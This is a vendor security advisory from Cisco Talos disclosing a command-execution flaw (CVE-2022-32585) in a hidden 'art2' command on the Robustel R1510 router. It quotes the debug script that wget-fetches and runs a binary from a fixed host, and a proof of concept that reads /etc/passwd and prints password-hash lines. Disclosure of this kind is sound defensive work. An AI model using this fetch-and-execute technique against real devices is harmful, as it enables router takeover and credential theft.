Talos Vulnerability Report

TALOS-2022-1570

Robustel R1510 clish art2 command execution vulnerability

JUNE 30, 2022

CVE NUMBER

CVE-2022-32585

Summary

A command execution vulnerability exists in the clish art2 functionality of Robustel R1510 3.3.0. A specially-crafted network request can lead to arbitrary command execution. An attacker can send a sequence of requests to trigger this vulnerability.

Tested Versions

Robustel R1510 3.3.0

Product URLs

R1510 - https://www.robustel.com/en/product/r1510-industrial-cellular-vpn-router/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-489 - Leftover Debug Code

Details

The R1510 is an industrial cellular router. It offers several advanced software like an innovative use of Open VPN, Cloud management, data over-use guard, smart reboot and others.

The R1510 has enabled the SSH service. But, instead of providing a linux shell it prompt a CLISH shell. This shell allow to express, through XML configuration files, different type of commands.

Here it is the prompt after login as admin:

```
ssh admin@192.168.0.1
(admin@192.168.0.1) Password:
#
!              Comments
add            Add a list entry of configuration
clear          Clear statistics
config         Configuration operation
debug          Output debug information to the console
del            Delete a list entry of configuration
do             Set the level state of the do
exit           Exit from the CLI
help           Display an overview of the CLI syntax
ovpn_cert_get  Download OpenVPN certificate file via http or ftp
ping           Send messages to network hosts
reboot         Halt and perform a cold restart
set            Set system configuration
show           Show system configuration
status         Show running system information
tftpupdate     Update firmware or configuration file using tftp
traceroute     Print the route packets trace to network host
trigger        Trigger action
urlupdate      Update firmware via http or ftp
ver            Show version of firmware

#
```

An hidden command exist in this menu that is called `art2`:

```
# art2
String  Version of art2
#
```

When called the following shell script is executed:

```
#!/bin/sh
#build temporary directory

if [ $# -lt 1 ]; then
    echo "Usage : $0 <Version>"
    exit 1;
fi

VER=$1
DIR=/tmp/art2
if [ ! -d ${DIR} ]; then
        mkdir ${DIR}
fi
cd ${DIR}

#download art.ko and nart.out

rm -rf *

wget http://192.168.0.10/r1510ArtFile.tar.gz

tar -xzvf r1510ArtFile.tar.gz

#change mode of art.ko and nart.out, add execute ability.
chmod 755 r1510-art-factory-${VER}.ko r1510-nart-factory-${VER}.bin

[...]

#start art application
./r1510-nart-factory-${VER}.bin -console
```

This script will download the file `r1510ArtFile.tar.gz` from the host with address `192.168.0.10`. Then it will unpack the file and eventually execute the file `r1510-nart-factory-${VER}.bin` contained in it. This can lead to arbitrary command execution.

Exploit Proof of Concept

Following the execution of `art2` with `0` as argument.

```
# art2 0
# Connecting to 192.168.0.10 (192.168.0.10:80)
r1510ArtFile.tar.gz  100% |************************************|   171   0:00:00
ETA
r1510-nart-factory-0.bin
[...]
root
root:$1$ciDDcCQI$ksDdbx2gX84EQfRCUxKGA/:10933:0:99999:7:::
admin:$1$0Y1zMICY$2676GjK83hpbydoXDggR8/:16506:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
[...]
```

Inside the `r1510-nart-factory-0.bin` there are two commands, `whoami` and `cat /etc/passwd`.

Timeline

2022-06-27 - Initial vendor contact

2022-06-28 - Vendor Disclosure

2022-06-30 - Public Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.
